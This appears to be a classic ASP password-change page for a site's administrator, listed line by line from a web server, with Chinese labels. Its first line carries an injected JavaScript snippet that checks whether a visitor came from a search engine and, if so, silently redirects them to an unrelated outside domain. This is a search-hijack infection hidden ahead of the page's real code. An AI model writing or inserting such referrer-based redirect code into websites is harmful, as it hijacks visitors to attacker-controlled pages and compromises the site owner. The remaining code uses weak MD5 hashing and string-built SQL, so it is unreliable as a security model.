d:\wwwroot\wuchunhua\sendmail\mail_managerpwd.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc_CheckLogin.asp"-->
002: <!--#include file="inc/md5.asp"-->
003: <html>
004: <head>
005: <title>管理</title>
006: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
007: <script language="javascript" src="inc/js.js"></script>
008: <link rel="stylesheet" href="inc/style.css">
009: </head>
010: <body>
011: <%CheckString("06")
012: if GetForm("act")="editsave" then
013:
014:    PassWord=GetForm("PassWord")
015:    PassWord2=GetForm("PassWord2")
016:    PassWord3=GetForm("PassWord3")
017:
018:    if PassWord="" then
019:       ErrMsg = ErrMsg & "● 请输入旧登陆密码;\n"
020:    end If
021:    if ErrMsg="" then
022:       if strLength(PassWord2)<4 or strLength(PassWord2)>20  then
023:          ErrMsg = ErrMsg & "● 为了账户安全登陆密码应该在4-20个字符;\n"
024:       end if
025:       if not CheckPassword(PassWord2) then
026:          ErrMsg = ErrMsg & "● 新登陆密码包含有非法字符;\n"
027:       end If
028:    End If
029:   
030:    if ErrMsg="" then
031:       if PassWord2<>PassWord3  then
032:          ErrMsg = ErrMsg & "● 两次输入的密码不一致;\n"
033:       end If
034:    end if
035:
036:    if ErrMsg="" then
037:       if conn.execute("select id from [vn_manager] where [PassWord]='"& md5(PassWord,32) &"' and id="& A_UserID &"").eof then
038:          ErrMsg = ErrMsg & "● 旧密码输入错误,请重新输入;\n"
039:       end if
040:    end if
041:   
042:   
043:    if ErrMsg="" then
044:          PassWord2=md5(PassWord2,32)
045:       conn.execute("update [vn_manager] set [PassWord]='"& PassWord2 &"' where id="& A_UserID &"")
046:       SetCookies "Admin","AdminPassword",PassWord2
047:       Netlog A_UserName,"编辑保存登陆密码"
048:       alert "编辑保存成功;","?"
049:    end if
050:    if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
051: end if
052: %
>
053: <table width="99%" border="0" align="center" cellpadding="5" cellspacing="1" class="tablebk" style="border-collapse: collapse">
054: <form name="Form1" action="?" method="post">
055: <input name="act" value="editsave" type="hidden">
056:    <tr>
057:     <td colspan="2" class="table_titlebg">修改登陆密码</td>
058:   </tr>
059:   <tr>
060:     <td width="40%" align="right" class="table_trbg02"><strong>当前用户名:</strong></td>
061:     <td width="60%" class="table_trbg02"><strong><%=A_UserName%></strong></td>
062:   </tr>
063:   <tr>
064:     <td align="right" class="table_trbg02"><strong>输入旧密码:</strong></td>
065:     <td class="table_trbg02"><input name="PassWord" type="password" class="INPUT" id="PassWord" size="30">
066:     </td>
067:   </tr>
068:   <tr>
069:     <td align="right" class="table_trbg02"><strong>输入新密码:</strong></td>
070:     <td class="table_trbg02"><input name="PassWord2" type="password" class="INPUT" id="PassWord2" size="30">
071:     </td>
072:   </tr>
073:   <tr>
074:     <td align="right" class="table_trbg02"><strong>确认新密码:</strong></td>
075:     <td class="table_trbg02"><input name="PassWord3" type="password" class="INPUT" id="PassWord3" size="30"></td>
076:   </tr>
077:   <tr>
078:     <td height="40" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value="提交">
079:       &nbsp;
080:       <input type="button" name="Submit" value="返回" onClick="window.location='?';"></td>
081:   </tr>
082:   </form>
083: </table>
084: </body>
085: </html>
086:
087: